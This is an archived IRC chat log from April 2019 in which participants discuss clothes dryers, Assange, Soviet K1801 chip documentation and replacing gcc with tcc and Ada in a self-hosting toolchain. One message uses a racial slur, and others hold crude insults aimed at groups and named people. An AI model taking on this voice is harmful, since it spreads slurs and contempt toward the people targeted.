1909464;1556030043;asciilifeform;lol
1909465;1556030046;*;asciilifeform brb:tea
1909466;1556031131;mp_en_viaje;http://btcbase.org/log/2019-04-22#1909325 << because sane people line-dry.
1909467;1556031131;a111;Logged on 2019-04-22 17:02 asciilifeform: BingoBoingo: here's an old asciilifeform crackpottery : why exactly can't one buy clothes dryer that runs on vacuum pump, instead of heater.
1909468;1556031203;mp_en_viaje;http://btcbase.org/log/2019-04-22#1909338 << he has a point ; you're still paying the lambda heat no matter what method you're paying it through. 15k is 15k.
1909469;1556031203;a111;Logged on 2019-04-22 17:06 PeterL: you don't just have to get the vacuum, you also have to vaporize the water
1909470;1556031256;mp_en_viaje;http://btcbase.org/log/2019-04-22#1909341 << amusingly, that's whereabouts here too, 80-100kgs/week or so.
1909471;1556031256;a111;Logged on 2019-04-22 17:09 PeterL: I run about 10 loads of wash a week, I don't want something that only handles one T-shirt at a time
1909472;1556031360;mp_en_viaje;http://btcbase.org/log/2019-04-22#1909353 << i was gonna say, dood prolly desperate for employment.
1909473;1556031360;a111;Logged on 2019-04-22 20:26 BingoBoingo: Follow up: Wants to know if anyone is hiring, informed him a couple datacenter places in Sao Paulo appear to be growing fast.
1909474;1556031391;mp_en_viaje;aaand logs done. ahhh
1909475;1556031400;mp_en_viaje;that's such a particularly satisfying feeling when one's travelling.
1909476;1556037897;BingoBoingo;http://btcbase.org/log/2019-04-23#1909375 << This was exceptional in that it involved the uniform wearing sort of troop as opposed to the known to be incredibly successful irregular forces.
1909477;1556037897;a111;Logged on 2019-04-23 13:22 mp_en_viaje: http://btcbase.org/log/2019-04-21#1909192 << ongoing for a while, hence http://btcbase.org/log/2018-05-23#1817349
1909478;1556038267;BingoBoingo;http://btcbase.org/log/2019-04-23#1909472 << Well he had his opportunities to demonstrate helpfulness, but apparently he has issues with that. Anyways the locals obsess over the "careers" they get in school, have the very US pre-2008 expectation that they get to neatly slot into those careers (not that this worked in the US outside of that brief window in the 1950s, but the 2008 crisis is when the media narrative changed to counter the
1909479;1556038267;a111;Logged on 2019-04-23 14:56 mp_en_viaje: http://btcbase.org/log/2019-04-22#1909353 << i was gonna say, dood prolly desperate for employment.
1909480;1556038268;BingoBoingo;expectation).
1909481;1556040678;asciilifeform;meanwhile in heathen lulz, http://cluborlov.blogspot.com/2019/04/the-martyrdom-of-st-julian.html
1909482;1556042749;trinque;dunno what the guy thought he had coming, trying to play the "freedom of the press is real!!1" line
1909483;1556042797;trinque;also nordicsystem chicks can be groupies too! and other laughable moves
1909484;1556042944;asciilifeform;what i dunget is whythefuq he was in londonistan to begin with
1909485;1556043050;trinque;could've cut the facade and booked it to moscow like snowden
1909486;1556043187;asciilifeform;tbf normally reich subject needs visa for moscow ( i dun know how, precisely, s got around this on moment's notice )
1909487;1556043267;asciilifeform;i suspect that trinque is right tho, and assange had some sorta cockroach in his head re 'honest press exists and will wake up' etc
1909488;1556043292;trinque;I take it snowden wasn't the only guy popping around on internal NSA machines and they saw him coming
1909489;1556043414;*;asciilifeform observes that 6y after snowdenism, ru still runs on winblowz, the mythical 'elbrus' still ~unobtainable (and likely the demo units run poettering-linux) , etc
1909490;1556043526;asciilifeform;really the only reason ru has any working weapons systems at all is that they were all designed in '70s-'80s sovok and run on 4uM [http://btcbase.org/log/2019-02-14#1896836]['k1801']
1909491;1556043526;a111;Logged on 2019-02-14 23:52 asciilifeform: in ru there are some decent microscopists ( not the 1 phf went to, but apparently others. ) for instance, very recently found that К1801 ( sovok 'pdp-11' single-chip ) was ~not~ in fact a photoclone of dec's (only the early '80s demo ver was!) but , turns out, entirely indigenous orc design, with coupla x ~fewer~ transistors and yet faster max clock
1909492;1556043628;asciilifeform;( and that none of these hang off the net, elementarily on acct of clock too slow to run even 10M/s nic.. )
1909493;1556043673;asciilifeform;errything which ~does~ hang off the net there, is same familiar shitware as in reich, i presently know of no evidence of an exception existing.
1909494;1556043768;asciilifeform;tbf ~same can be said for usg, where -- similarly -- the only '100% uptime' items are pdp11/microvax/etc where likewise '70s-'80s lsi and likewise no net etc
1909495;1556043977;BingoBoingo;<asciilifeform> what i dunget is whythefuq he was in londonistan to begin with << Well the extradition circus should be lulzy. Appears on the surface at least to be alienating some of the Germans.
1909496;1556044339;asciilifeform;re: current-day ru -- despite the 'pr' and the appearance of 'uppitiness', it is still a miamistan. the '90s did not actually end there.
1909497;1556044390;asciilifeform;their last fuhrer who wasn't feathering an overseas nest was andropov.
1909498;1556044406;BingoBoingo;Maybe shifting more into a Macau-istan
1909499;1556044433;BingoBoingo;Or whatever the PRC flag flies that draws the vacationers
1909500;1556044636;asciilifeform;BingoBoingo: a 'miamistan' in the essence is where the brass occupies self primarily with padding foreign acct , buying villas in reich, setting up their spawn to same, etc
1909501;1556044717;BingoBoingo;I'm just suggesting that the trending reich might be shifting to the other one.
1909502;1556044723;feedbot;http://qntra.net/2019/04/us-prepares-to-tackle-illegal-immigration-with-facial-recognition-wank-for-folks-leaving-the-us/ << Qntra -- US Prepares To Tackle Illegal Immigration With Facial Recognition Wank For Folks LEAVING The US
1909503;1556044756;asciilifeform;BingoBoingo: i [http://btcbase.org/log/2019-04-18#1909007][rather doubt]
1909504;1556044756;a111;Logged on 2019-04-18 04:25 asciilifeform: mp_en_viaje: at this pt i'm not even convinced that there ~is~, or could be, a 'chinese strategy', or 'they want..' -- these folx have not developed a with-what to want , whole edifice reduces to individual party-appointed directors' desire for miami
1909505;1556044830;asciilifeform;the chinese by all appearances are 'greedy algorithm', with no notion of strategy to speak of, nor any detectable ideological spine.
1909506;1556044835;BingoBoingo;The lack of a strategy doesn't keep magic casino place on the coast with odd political status from happening.
1909507;1556044865;asciilifeform;what's so surprising about casino ? even fucktarded marylandistan has casino.
1909508;1556044919;asciilifeform;BingoBoingo: s/emmigration/emigration .
1909509;1556044920;BingoBoingo;The Chicoms love gambling like trailer trash loves OD'ing on whatever the drug current decade happens to be
1909510;1556044936;BingoBoingo;ty, fxd
1909511;1556045090;*;BingoBoingo suspects the one state different systems treatment of Chinese "special administrative regions" is an effect of the anti-strategic Chinese languages. They want resort playground with different rules to play and hedge in, when the leases expired back to them they just sorta let the places happen.
1909512;1556045166;asciilifeform;BingoBoingo: i suspect they are attempts to 'build own miami', in the spirit of http://btcbase.org/log/2019-03-17#1903015
1909513;1556045166;a111;Logged on 2019-03-17 15:42 mircea_popescu: matches well that group of "transsexuals" who evidently enough are so preoccupied with cunt, they just want one of their own. about as "transsexual" as the compulsive gambler who buys himself a slot machine for his "den" is "transeconomic",
1909514;1556045227;asciilifeform;( which makes approx same amt of sense as all other attempts to create 'unwet water', but i have nfi what the psychology is )
1909515;1556045307;BingoBoingo;Prolly not so different from the folks seeing US going to shit that decide to hoard decades of canned foods instead of leaving.
1909516;1556045377;asciilifeform;BingoBoingo: iirc these tend to be seriously-advanced cases of christianity of the central nervous system, and fixated on the bit re 'great flood' etc
1909517;1556045512;BingoBoingo;Well, leverage that to the Chinense language in use not allowing for the "Todo bien" "Todo bien" exchange without situation dependent literary references to Confusious[sic].
1909518;1556045563;asciilifeform;BingoBoingo: in actuality it's lit. 'me happy -- you happy?'
1909519;1556045584;asciilifeform;the 'no paragraph w/out confucius' is moar in re written lit.
1909520;1556045687;BingoBoingo;I lack direct experience in this, though I recall reading a few reports that the Confusious cancer was endemic in conversation among the washed.
1909521;1556047140;lobbes;just to give an update: I've been taking the last few weeks to tend to the [http://btcbase.org/log/2019-03-14#1902532][manor] side of things (however, I'm current on logz)
1909522;1556047140;a111;Logged on 2019-03-14 15:43 mircea_popescu: anyway, kinda why the insistence on "republic is political -- you can't just do tech thing" etc. and why dual court-and-manor function of lord. and so on.
1909523;1556047143;lobbes;next up on my conveyor is to publish a vpatch for the auctionbot proper, as right now I've only provided the 'command router' it sits on. I aim to have that out by Sunday the latest
1909524;1556047151;lobbes;After that, I'm going to start working on re-implementing the auto-bidding functionality (which will also be a vpatch)
1909525;1556047215;lobbes;btw phf, I'm loving this log link markup. very cool
1909526;1556047341;*;lobbes bbl
1909527;1556048646;bvt;http://btcbase.org/log/2019-04-23#1909396 << do you mean going [preinstalled gcc6] -> tcc -> gcc2.95 -> gcc4.7 -> gcc4.9 for cuntoo? or drop gcc entirely, try to get as much as possible running on tcc?
1909528;1556048646;a111;Logged on 2019-04-23 13:54 mp_en_viaje: http://btcbase.org/log/2019-04-22#1909254 << nah, not worth doing. the approach is probably to find some other way, tcc or w/e, to replace the gcc step-by-step peeling of layers of filth.
1909529;1556048659;bvt;the problem with these both approaches is that it's impossible to get gnat/ada that way - gnat was bootstrapped from some commercial ada compiler in ~1994, and is self-hosted since that times. (well, impossible by definition with just tcc)
1909530;1556048676;bvt;http://btcbase.org/log/2019-04-22#1909254 << i suspect that fixing direct gcc6->gcc4 step involves something like http://archive.is/cBg9N#selection-9.1340-9.1425
1909531;1556048676;a111;Logged on 2019-04-22 16:03 trinque: if somebody finds a way of leaping directly from gcc6 to 4, I'll applaud him, but I'm not burning any more hours of life in there
1909532;1556049091;bvt;http://btcbase.org/log/2019-04-22#1909279 << you can't use adacore's gnat to bootstrap ave1gnat on musltronic systems, but http://btcbase.org/log/2018-05-15#1813753 works for that purpose;
1909533;1556049091;a111;Logged on 2019-04-22 16:19 trinque: his gcc does not build upon musl, so I have not. prodded him a few times about getting his to run on a musl box.
1909534;1556049091;a111;Logged on 2018-05-15 21:38 asciilifeform: ok, apol. for log clutter :
1909535;1556049236;PeterL;would it be hard to distribute gcc4 instead of gcc6 so that you would not have to build it? why do we have to start with gcc6?
1909536;1556049247;bvt;also, you can't build ave1gnat from scratch on fresh adaless system because of http://btcbase.org/log/2019-04-23#1909529 - so initial gnat binary will be required (ebuilds just download binary gnat for that).
1909537;1556049247;a111;Logged on 2019-04-23 19:44 bvt: the problem with these both approaches is that it's impossible to get gnat/ada that way - gnat was bootstrapped from some commercial ada compiler in ~1994, and is self-hosted since that times. (well, impossible by definition with just tcc)
1909538;1556049278;PeterL;could one host a bin of the ave1 gnat?
1909539;1556049333;bvt;http://btcbase.org/log/2019-04-23#1909440 << this would involve getting binutils under our control - bigger part of these timestamps are added by ar/ld; tbh i even dunno if gcc is responsible for this at all.
1909540;1556049333;a111;Logged on 2019-04-23 14:23 asciilifeform: mp_en_viaje: the 'snip out timestamp nonsense from gcc' thing has been itching since '15
1909541;1556049439;bvt;http://btcbase.org/log/2019-04-23#1909490 << speaking of which, http://archive.is/pEMWM ; also, i guess elbrus-2 (~1985) and besm-6 are still running
1909542;1556049439;a111;Logged on 2019-04-23 18:18 asciilifeform: really the only reason ru has any working weapons systems at all is that they were all designed in '70s-'80s sovok and run on 4uM [http://btcbase.org/log/2019-02-14#1896836]['k1801']
1909543;1556049710;bvt;PeterL: binary ave1gnat is already [http://btcbase.org/log/2018-05-15#1813753][hosted] by asciilifeform; but it's integration into cuntoo is an open problem that ave1 should be best equipped to handle
1909544;1556049710;a111;Logged on 2018-05-15 21:38 asciilifeform: ok, apol. for log clutter :
1909545;1556052286;feedbot;http://qntra.net/2019/04/californication-home-depot-looks-to-withdraw-from-indefensible-oakland-location/ << Qntra -- Cali...ion: Home Depot Looks To Withdraw From Indefensible Oakland Location
1909546;1556058078;asciilifeform;http://btcbase.org/log/2019-04-23#1909530 << iirc the orig problem was that the published musl gentoo starter culture trinque began working from, was built on gcc6 , which won't build 4.x (and therefore full replication involves stepping 6 -> 5 -> 4.9 )
1909547;1556058078;a111;Logged on 2019-04-23 19:44 bvt: http://btcbase.org/log/2019-04-22#1909254 << i suspect that fixing direct gcc6->gcc4 step involves something like http://archive.is/cBg9N#selection-9.1340-9.1425
1909548;1556058169;asciilifeform;http://btcbase.org/log/2019-04-23#1909541 << the published sores aint especially interesting, aside from archaeological pov ( if you have fpga -- yer product is only as clean as that fpga, and there aint any clean ones gettable ; and if there were, why wouldja want to simulate a pdp11 in it ?? )
1909549;1556058169;a111;Logged on 2019-04-23 19:57 bvt: http://btcbase.org/log/2019-04-23#1909490 << speaking of which, http://archive.is/pEMWM ; also, i guess elbrus-2 (~1985) and besm-6 are still running
1909550;1556058239;asciilifeform;it is only interesting from the pov where e.g. asciilifeform bought small crate of k1801bm2 , and reasonably certain they aint modern fakes ( if i ever end up using'em, i'ma decap 1 at random & see.. )
1909551;1556058278;asciilifeform;i dun expect to ever get hands on a complete elbrus-2 or etc.
1909552;1556058494;asciilifeform;http://btcbase.org/log/2019-04-23#1909527 << currently i suspect that tcc & similar is a mirage; and that an actual serious solution would moar resemble [http://btcbase.org/log/2019-04-23#1909407][the bolix approach], where you have a proper lisp and a ~compact~ + readable c-to-lisp ~in~ it for use with legacy crapola while-needed
1909553;1556058494;a111;Logged on 2019-04-23 19:44 bvt: http://btcbase.org/log/2019-04-23#1909396 << do you mean going [preinstalled gcc6] -> tcc -> gcc2.95 -> gcc4.7 -> gcc4.9 for cuntoo? or drop gcc entirely, try to get as much as possible running on tcc?
1909554;1556058494;a111;Logged on 2019-04-23 14:11 asciilifeform: http://btcbase.org/log/2019-04-23#1909401 << whatever else can be said re bolix -- they had the Right Thing pill for this. 'yes you can build a c proggy on this iron; no it won't [http://www.loper-os.org/?p=165#selection-79.0-85.510][win you 'speed'].'
1909555;1556058517;asciilifeform;c is a pretty sad lang to write anyffin complicated in, ~especially~ a compiler (and c compiler is no exception)
1909556;1556058557;asciilifeform;to properly shoot the [http://btcbase.org/log/2019-04-23#1909401]['primacy of c'] in the head, gotta remove the 'it is where the self-hosting happens' 1st and foremost.
1909557;1556058557;a111;Logged on 2019-04-23 13:59 mp_en_viaje: basically, c (not the code, nor the language -- the UNIVERSE, all encompassing, the mentalities of all they involved, their cultural productions over the decades, the horses they used and the women they mounted -- the whole universe) is a wart upon reason. like a hemorrhoid or something. you take your wart to the doctor, he ties a string tightly around it and well... it falls off eventually.
1909558;1556058597;asciilifeform;i.e. what you'd want is to 'self-host' (on iron built for the purpose) a lang where a c, ada, etc. compiler is 3000 ln.
1909559;1556058605;asciilifeform;rather than 300,000.
1909560;1556060106;asciilifeform;revisiting upstack , the [http://btcbase.org/log/2019-04-23#1909541][1801 docs], pretty interesting document from 'techno-political' pov actually -- there does not exist a description like this (operation AND internals) for any reich cpu ever sold. certainly not as a vendor document under 1 cover (not speaking here of ad-hoc reversed tidbits)
1909561;1556060106;a111;Logged on 2019-04-23 19:57 bvt: http://btcbase.org/log/2019-04-23#1909490 << speaking of which, http://archive.is/pEMWM ; also, i guess elbrus-2 (~1985) and besm-6 are still running
1909562;1556060180;asciilifeform;i'ma mirror those scans, they dun deserve to live in a shithub
1909563;1556060380;asciilifeform;here we go : [http://nosuchlabs.com/pub/sovok/1801BM2_schematics.djvu][1801 schematics] ; [http://nosuchlabs.com/pub/sovok/1801BM2_description_vol1.djvu][1801 manual vol.1] [http://nosuchlabs.com/pub/sovok/1801BM2_description_vol2.djvu][1801 manual vol.2] .
1909564;1556060616;asciilifeform;^ and before mp asks, yes it's combo of manual typewriter and ink pen, and no it won't in a million years ocr, other than by meat ( and is largely schematics / waveforms anyway )
1909565;1556060695;asciilifeform;and yes it in fact describes operation (incl. physical params) of the ~internal~ blocks , not only the 'user-facing' pins.
1909566;1556060760;*;asciilifeform would luvvv to read 'ffa-style' incarnation of such a work, where the chip is 'built up' from empty space in ~hour-long chunks. but prolly this won't exist until asciilifeform writes 1..
1909567;1556060946;asciilifeform;incidentally, even a very brief look at the 1801 item confirms the troof of http://btcbase.org/log/2019-02-14#1896836 -- thing defo aint a 'and here is where the ameri-crystal does x' , it's a quite 'fits-in-head' object , very evidently produced from page-long spec of the orig instruction set
1909568;1556060946;a111;Logged on 2019-02-14 23:52 asciilifeform: in ru there are some decent microscopists ( not the 1 phf went to, but apparently others. ) for instance, very recently found that К1801 ( sovok 'pdp-11' single-chip ) was ~not~ in fact a photoclone of dec's (only the early '80s demo ver was!) but , turns out, entirely indigenous orc design, with coupla x ~fewer~ transistors and yet faster max clock
1909569;1556061138;asciilifeform;imho the so-called 'civilized' world ought to have to answer re why it failed to produce a product like this.
1909570;1556061208;asciilifeform;vol.2 p.133-151 pretty interesting, describes how the circuit was mapped out (spoiler: by hand) to the actual cmos.
1909571;1556061275;asciilifeform;( 1 'downer' -- apparently 'cells' drawn by hand, and then arranged by simple proggy , 'gred' -- but its sores not given in the doc )
1909572;1556061322;asciilifeform;concludes by summarizing (with illustration) the actual chem of the fab process.
1909573;1556072371;asciilifeform;http://btcbase.org/log/2019-04-23#1909543 << sadly fella seems to be mia :
1909574;1556072371;a111;Logged on 2019-04-23 20:01 bvt: PeterL: binary ave1gnat is already [http://btcbase.org/log/2018-05-15#1813753][hosted] by asciilifeform; but it's integration into cuntoo is an open problem that ave1 should be best equipped to handle
1909575;1556072374;asciilifeform;!#seen ave1
1909576;1556072374;a111;2019-02-19 <ave1> Btw asciilifeform, I had to switch my cheap NFS account to a more expensive one as php 5.6 is no longer supported in their new setup. I expect that sometime, at the end of this year, 5.6 will also disappear from  "production" sites.
1909577;1556072670;*;asciilifeform bbl:meat
1909578;1556114944;mp_en_viaje;http://btcbase.org/log/2019-04-23#1909476 << fair enough ; though really most physical mexicans pull double duty.
1909579;1556114944;a111;Logged on 2019-04-23 16:44 BingoBoingo: http://btcbase.org/log/2019-04-23#1909375 << This was exceptional in that it involved the uniform wearing sort of troop as opposed to the known to be incredibly successful irregular forces.
1909580;1556114953;mp_en_viaje;sorta like us private/public healthcare. or "governance"
1909581;1556115158;mp_en_viaje;http://btcbase.org/log/2019-04-23#1909478 << very 1990s ro naivite this. i guess they'll figure it out in their own time.
1909582;1556115158;a111;Logged on 2019-04-23 16:51 BingoBoingo: http://btcbase.org/log/2019-04-23#1909472 << Well he had his opportunities to demonstrate helpfulness, but apparently he has issues with that. Anyways the locals obsess over the "careers" they get in school, have the very US pre-2008 expectation that they get to neatly slot into those careers (not that this worked in the US outside of that brief window in the 1950s, but the 2008 crisis is when the media narrative changed to counter the
1909583;1556115270;mp_en_viaje;http://btcbase.org/log/2019-04-23#1909486 << same exact way i do. you just go, what the fuck are they going to do.
1909584;1556115270;a111;Logged on 2019-04-23 18:13 asciilifeform: tbf normally reich subject needs visa for moscow ( i dun know how, precisely, s got around this on moment's notice )
1909585;1556115370;mp_en_viaje;http://btcbase.org/log/2019-04-23#1909492 << right, becayse of couldn't, not because of wouldn't.
1909586;1556115370;a111;Logged on 2019-04-23 18:20 asciilifeform: ( and that none of these hang off the net, elementarily on acct of clock too slow to run even 10M/s nic.. )
1909587;1556115553;asciilifeform;mp_en_viaje: a 'couldn't' is worth 9000 'wouldn'ts' eh
1909588;1556115580;mp_en_viaje;http://btcbase.org/log/2019-04-23#1909502 << you know, last i left the us, 2005ish or so, it was a fucking lulz... so fucking empty, i had to forcibly turn mexicana cab driver around, to get to the guy i had to give whatever paper to.
1909589;1556115580;a111;Logged on 2019-04-23 18:38 feedbot: http://qntra.net/2019/04/us-prepares-to-tackle-illegal-immigration-with-facial-recognition-wank-for-folks-leaving-the-us/ << Qntra -- US Prepares To Tackle Illegal Immigration With Facial Recognition Wank For Folks LEAVING The US
1909590;1556115588;mp_en_viaje;she's like "you can't go back that way".
1909591;1556115626;mp_en_viaje;"like fucking hell you can't ; drive". so she does cuz more affraid of dood in car than vague theoretical doods at us border. who come swarming in, "why is car driving TOWARDS us side on exit". and so i give them the shit, whatever it was
1909592;1556115637;mp_en_viaje;at the time they gave you this piece of paper when you came in, to give them back when you leave.
1909593;1556115660;asciilifeform;were short on ink for passport stamps or wat
1909594;1556115687;mp_en_viaje;nfi, nobody stamped passport on exit
1909595;1556115705;mp_en_viaje;but this was the system then. which is what im saying, the face wank is an upgrade, not a new system
1909596;1556115725;asciilifeform;funnily enuff, BingoBoingostan installed facewank. they dun stamp anyffin at all.
1909597;1556115750;mp_en_viaje;tbh, the whole "border" thing is becoming mostly a joke.
1909598;1556115777;*;mp_en_viaje flew san jose -> bogota -> munchen w/o passport and so following.
1909599;1556115809;asciilifeform;notbad. ( maybe next time can also pull off w/out tickets ? )
1909600;1556115845;mp_en_viaje;well, lufthansa dropped the ball, so i went munchen-budapest w/o plane tickets yes.
1909601;1556115882;asciilifeform;iirc there was even a fella who flew, for yrs, not only w/out ticket, but... as pilot. ( said, 'hi i am pilot', no one asked for diploma for decade+ )
1909602;1556115923;mp_en_viaje;yeah, http://trilema.com/2013/catch-me-if-you-can/ ; not even bad flick.
1909603;1556115947;mp_en_viaje;but i don't believe in not paying honest merchant. i do believe in not indulging stupid woman's pretense to relevancy and "rule making".
1909604;1556115989;mp_en_viaje;and might i  say btw tha tthe new linking log scheeme is a fucking pleasure to use.
1909605;1556115998;asciilifeform;verily
1909606;1556116103;mp_en_viaje;http://btcbase.org/log/2019-04-23#1909511 << this is quite possibly just on point. the original us design, federal with independent states, was strong (and shewed its strength) specifically because of this.
1909607;1556116103;a111;Logged on 2019-04-23 18:44 BingoBoingo suspects the one state different systems treatment of Chinese "special administrative regions" is an effect of the anti-strategic Chinese languages. They want resort playground with different rules to play and hedge in, when the leases expired back to them they just sorta let the places happen.
1909608;1556116126;mp_en_viaje;meanwhile ustards fucked the model, but this doesn't mean it went away as a model. quite possible the chinos get it, made themselves plausibly-denied federation.
1909609;1556116276;mp_en_viaje;http://btcbase.org/log/2019-04-23#1909524 << cool deal
1909610;1556116276;a111;Logged on 2019-04-23 19:19 lobbes: After that, I'm going to start working on re-implementing the auto-bidding functionality (which will also be a vpatch)
1909611;1556116317;mp_en_viaje;asciilifeform, i dunno, as a factual matter i suspect a wouldn't is worth 9k couldn'ts.
1909612;1556116347;mp_en_viaje;as in, "driver who won't crash your car worth 9k drivers who can't crash your car"
1909613;1556116404;asciilifeform;aha but if it's a given that driver is a monkey -- then the cab had better have no wheels.
1909614;1556116419;mp_en_viaje;http://btcbase.org/log/2019-04-23#1909527 << drop gcc entirely ; drop all c code entirely ; rely on tcc as a scripting language to turn whatever snippets of c into object code that we haven't yet thrown away ; and for quick prototyping, where one's stuck getting a mass of 1mn shitlocs interop with 10k loc's worth of a whole universe
1909615;1556116419;a111;Logged on 2019-04-23 19:44 bvt: http://btcbase.org/log/2019-04-23#1909396 << do you mean going [preinstalled gcc6] -> tcc -> gcc2.95 -> gcc4.7 -> gcc4.9 for cuntoo? or drop gcc entirely, try to get as much as possible running on tcc?
1909616;1556116425;asciilifeform;(this is sovok war machine design philosophy in a paragraph)
1909617;1556116449;mp_en_viaje;the whole point is to turn c into what it actually is -- a sort of javascript the niggers to rakim'd in the head to use computers keep pissing out.
1909618;1556116462;asciilifeform;mp_en_viaje: see further downthread, expanded on this.
1909619;1556116463;mp_en_viaje;so a light and cheap shithead-interpreter
1909620;1556116470;mp_en_viaje;getting tharQ
1909621;1556116607;mp_en_viaje;http://btcbase.org/log/2019-04-23#1909529 << the idea isn't to get tcc to compile ada. the idea is to destroy gcc -- cut the "useful compilation half" into an ada compiler ; cut the shitlands compilation half into a small weight something else. there is no republican future for gcc as a gcc in the foss / linus-stallman sense of the term.
1909622;1556116607;a111;Logged on 2019-04-23 19:44 bvt: the problem with these both approaches is that it's impossible to get gnat/ada that way - gnat was bootstrapped from some commercial ada compiler in ~1994, and is self-hosted since that times. (well, impossible by definition with just tcc)
1909623;1556116669;mp_en_viaje;this "gcc is how you call the universal compiler" is cut of the same cloth as "the united states is the name good people give to truth, beauty, and everything good" -- of no import or interest, past pure comedic "lmao check those country bumpkins out, they really believe god was born in mobile"
1909624;1556116866;mp_en_viaje;in any case the http://btcbase.org/log/2019-02-17#1897382 nonsense will NOT outlive me.
1909625;1556116866;a111;Logged on 2019-02-17 14:10 mircea_popescu: now in other lulz, check this out : http://archive.is/89adR#selection-9.9948-9.10055 "This is a special mix of insertion sort and heap sort, optimized for the data sets that actually occur."
1909626;1556116926;mp_en_viaje;so, to answer the q : get as much as possible of system working on actual systems lang ; get AS LITTLE AS POSSIBLE on tcc.
1909627;1556116987;mp_en_viaje;http://btcbase.org/log/2019-04-23#1909530 << if this is actually true, would prolly be worth doing. feel free to look into it soemtime.
1909628;1556116987;a111;Logged on 2019-04-23 19:44 bvt: http://btcbase.org/log/2019-04-22#1909254 << i suspect that fixing direct gcc6->gcc4 step involves something like http://archive.is/cBg9N#selection-9.1340-9.1425
1909629;1556117050;mp_en_viaje;http://btcbase.org/log/2019-04-23#1909539 <<  i don' timagine present binutils can continue as such ; ideally should dissolve into actually functional toolset.
1909630;1556117050;a111;Logged on 2019-04-23 19:55 bvt: http://btcbase.org/log/2019-04-23#1909440 << this would involve getting binutils under our control - bigger part of these timestamps are added by ar/ld; tbh i even dunno if gcc is responsible for this at all.
1909631;1556117102;asciilifeform;mp_en_viaje: re 'gcc ladder', the orig boojum was the 'catch-22' where a musl gcc can only be built w/ another musl gcc , and the only working specimen trinque was able to find in the wild, was a gcc6
1909632;1556117142;mp_en_viaje;yes.
1909633;1556117158;mp_en_viaje;this needn't continue indefinitely, tho.
1909634;1556117159;asciilifeform;( i.e. this item may be solvable w/ a bit of archaeology )
1909635;1556117189;asciilifeform;gcc per se has no biz 'continuing indefinitely' ( as mp_en_viaje already noted )
1909636;1556117194;mp_en_viaje;yes, it's possible that someone living cca 2005 did something useful with their life, instead of "raising myspace awareness" or w/e the fuck they did back tghen.
1909637;1556117215;mp_en_viaje;asciilifeform, in general, i do not see there's any need for having a musl gcc in the first place.
1909638;1556117242;mp_en_viaje;see, all this reasoning is informed by experience : back when we started looking at systems design lang, and started discussing ada, i was very adamantly for maintaining options open.
1909639;1556117256;mp_en_viaje;meanwhile its been YEARS, and guess what ? 0 new development on c. everyone wants to write in ada.
1909640;1556117264;mp_en_viaje;if i make someone work with c, it's perceived as a punishment.
1909641;1556117299;mp_en_viaje;thus therefore, i do not see the need to continue supporting c as a mental construct. even having to reimplement "everything" (ie, practically, nothing at all) from outside is preferable to an attempt at continuing c.
1909642;1556117315;asciilifeform;fwiw asciilifeform not only spent whole life with c/cpp, but still maintains massive cpp horror in saeculum , for bread
1909643;1556117322;asciilifeform;but it aint any way to live.
1909644;1556117342;asciilifeform;let microshit have its c.
1909645;1556117365;mp_en_viaje;the "let there be a javascript interpreter for c, call it tcc or w/e, people can play with if theyr'e bored" is really the outmost of concession i can make to what is, ultimately, a shameful, abortive and utterly reprehensible outgrowth on human culture = the totality of everyone involved in computer systems design and implementatio nfor the past few decades.
1909646;1556117396;asciilifeform;that's how (as described upthread) bolix settled the matter, in '83.
1909647;1556117412;asciilifeform;would've stayed settled, too, if they hadn't wrapped themselves around telephone pole.
1909648;1556117493;mp_en_viaje;and these aren't mere words. it is what i see these people as, from the last poettering to the foremost stallman or linus, including the whole menagerie of "[http://trilema.com/2018/and-in-todays-lulz-the-obnoxious-cocksucker/][i just wanted to suck dicks]" anodyne anons, be they zx wharever or oj whatever or whichever other one.
1909649;1556117598;asciilifeform;ye olde 'notation can cost 80 iq' item. the moment rms picked 'c machine' ecosystem, it after that did not matter one whit how capable/honest/etc were to be the participants. ( and, in practice, demonstrated -- the capable, honest folx, ran off to learn new professions , did not stick around to fiddle with pointerisms )
1909650;1556117663;asciilifeform;sorta how there cannot be a serious engineer in liberia. ( why would he live in liberia )
1909651;1556117764;asciilifeform;( iirc -- e.g. howard shrobe, 1 of the orig bolix people, went off into medicine. others -- elsewhere )
1909652;1556117817;mp_en_viaje;'you write c on top of c and wanna talk to me about http://btcbase.org/log/2019-01-03#1884206 ? keks. did your mother have any children who lived ?"
1909653;1556117817;a111;Logged on 2019-01-03 19:24 stratum: If individuals want to communicate using heavily encrypted sneakernet to avoid NSA goons, that is certainly okay by me. But I don't see that happening for the billions any time soon.
1909654;1556117877;mp_en_viaje;asciilifeform, or as buffett put it back in the day his brain still worked, "when a manager with a reputation for success attempts to tackle a problem with a reputation for intractability, it is the manager's reputation that ends up tarnished"
1909655;1556117923;asciilifeform;as in the old sea story, 'move over, we are a 100,000 tonne battleship' 'no you move' 'no, you, we are battleship' 'we're a lighthouse'
1909656;1556117978;mp_en_viaje;keks
1909657;1556118293;mp_en_viaje;http://btcbase.org/log/2019-04-23#1909552 << this is exactly what i fear we will discover scratching the surface of that magic crate ; as we so regularly have been discovering to date.
1909658;1556118293;a111;Logged on 2019-04-23 22:28 asciilifeform: http://btcbase.org/log/2019-04-23#1909527 << currently i suspect that tcc & similar is a mirage; and that an actual serious solution would moar resemble [http://btcbase.org/log/2019-04-23#1909407][the bolix approach], where you have a proper lisp and a ~compact~ + readable c-to-lisp ~in~ it for use with legacy crapola while-needed
1909659;1556118302;mp_en_viaje;nevertheless, order is order, first we scratch, then we discover.
1909660;1556118340;mp_en_viaje;http://btcbase.org/log/2019-04-23#1909556 << absolutely.
1909661;1556118340;a111;Logged on 2019-04-23 22:29 asciilifeform: to properly shoot the [http://btcbase.org/log/2019-04-23#1909401]['primacy of c'] in the head, gotta remove the 'it is where the self-hosting happens' 1st and foremost.
1909662;1556118405;mp_en_viaje;one of the major things we're working towards here is to construct the ada-centric self-hosting ecosystem.
1909663;1556118695;mp_en_viaje;http://btcbase.org/log/2019-04-23#1909564 << and the meat that'll do it will need a planet like saturn to live on.
1909664;1556118695;a111;Logged on 2019-04-23 23:03 asciilifeform: ^ and before mp asks, yes it's combo of manual typewriter and ink pen, and no it won't in a million years ocr, other than by meat ( and is largely schematics / waveforms anyway )
1909665;1556118878;mp_en_viaje;http://btcbase.org/log/2019-04-23#1909566 << who knows, maybe a 15yo now reading grows up to be useful, actual human being, as opposed to pantsuit mouthbreather.
1909666;1556118878;a111;Logged on 2019-04-23 23:06 asciilifeform would luvvv to read 'ffa-style' incarnation of such a work, where the chip is 'built up' from empty space in ~hour-long chunks. but prolly this won't exist until asciilifeform writes 1..
1909667;1556118878;mp_en_viaje;at least now they have plain and self-obvious example of what ~should~ do with their life ; so it can't be said you lived in vain.
